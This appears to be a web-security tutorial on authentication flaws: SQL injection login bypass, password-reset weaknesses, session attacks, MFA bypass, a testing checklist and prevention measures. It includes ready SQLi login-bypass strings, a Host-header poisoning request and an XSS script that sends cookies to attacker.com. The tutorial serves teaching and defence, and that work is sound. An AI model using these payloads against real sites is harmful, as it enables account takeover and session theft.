Key Takeaways

  • SQL injection often bypasses login
  • Password reset is a common weak point
  • Session attacks hijack authenticated users
  • MFA can be bypassed via implementation flaws
Contents

1. Authentication Vulnerabilities

Authentication is the process of verifying who a user is. Broken authentication allows attackers to compromise passwords, keys, session tokens, or exploit implementation flaws.

2. SQL Injection Auth Bypass

Classic SQLi Login Bypass
# Username field injections
' OR '1'='1
admin'--
admin' #
' OR 1=1--
' OR 1=1#

# Password field
anything' OR '1'='1

# Query becomes:
SELECT * FROM users WHERE user='' OR '1'='1' AND pass=''
# Always true → logged in as first user (often admin)

3. Password Reset Flaws

# Vulnerable patterns:
# 1. Predictable tokens
GET /reset?token=123456  # Sequential tokens

# 2. Token leakage in Referer
# Click link from email → referrer header exposes token

# 3. Host header poisoning
POST /reset HTTP/1.1
Host: attacker.com
# Reset link sent to victim with attacker's domain

# 4. Token not invalidated
# Old tokens still work after reset

# 5. User enumeration
# Different response for valid/invalid emails

4. Session Attacks

# Session fixation
# 1. Attacker gets session ID
# 2. Tricks victim to use it
# 3. Victim logs in → attacker has authenticated session

# Session hijacking
# Steal session via XSS:
<script>document.location='http://attacker.com/?c='+document.cookie</script>

# Weak session IDs
# Predictable (timestamps, sequential)
# Short entropy (brute forceable)

5. MFA Bypass Techniques

# Common MFA bypasses:

# 1. Response manipulation
# Change server response from "mfa_required" to "authenticated"

# 2. Direct navigation
# Skip MFA page, go directly to authenticated endpoint

# 3. Brute force OTP
# No rate limiting on code attempts

# 4. Token reuse
# Same OTP works multiple times

# 5. Backup codes
# Predictable or brute-forceable

# 6. OAuth/SSO bypass
# Login via SSO to skip MFA

6. Logic Flaws

7. Testing Methodology

  1. Test login with SQLi payloads
  2. Analyze password reset flow
  3. Check session handling (regeneration, timeout)
  4. Test MFA implementation
  5. Look for logic flaws in auth flow
  6. Test account lockout mechanism

8. Prevention Strategies

Secure Authentication
  • ✅ Parameterized queries (prevent SQLi)
  • ✅ Strong, random session IDs
  • ✅ Regenerate session on login
  • ✅ Cryptographically random reset tokens
  • ✅ Rate limiting on all auth endpoints
  • ✅ Proper MFA implementation
  • ✅ Account lockout after failed attempts
  • ✅ Secure cookie flags (HttpOnly, Secure, SameSite)

FAQ

What's the most common auth bypass?
SQL injection in login forms remains common, along with weak password reset implementations. Missing authorization checks on sensitive endpoints are also frequently found.

SQL Injection OAuth Security Secure Coding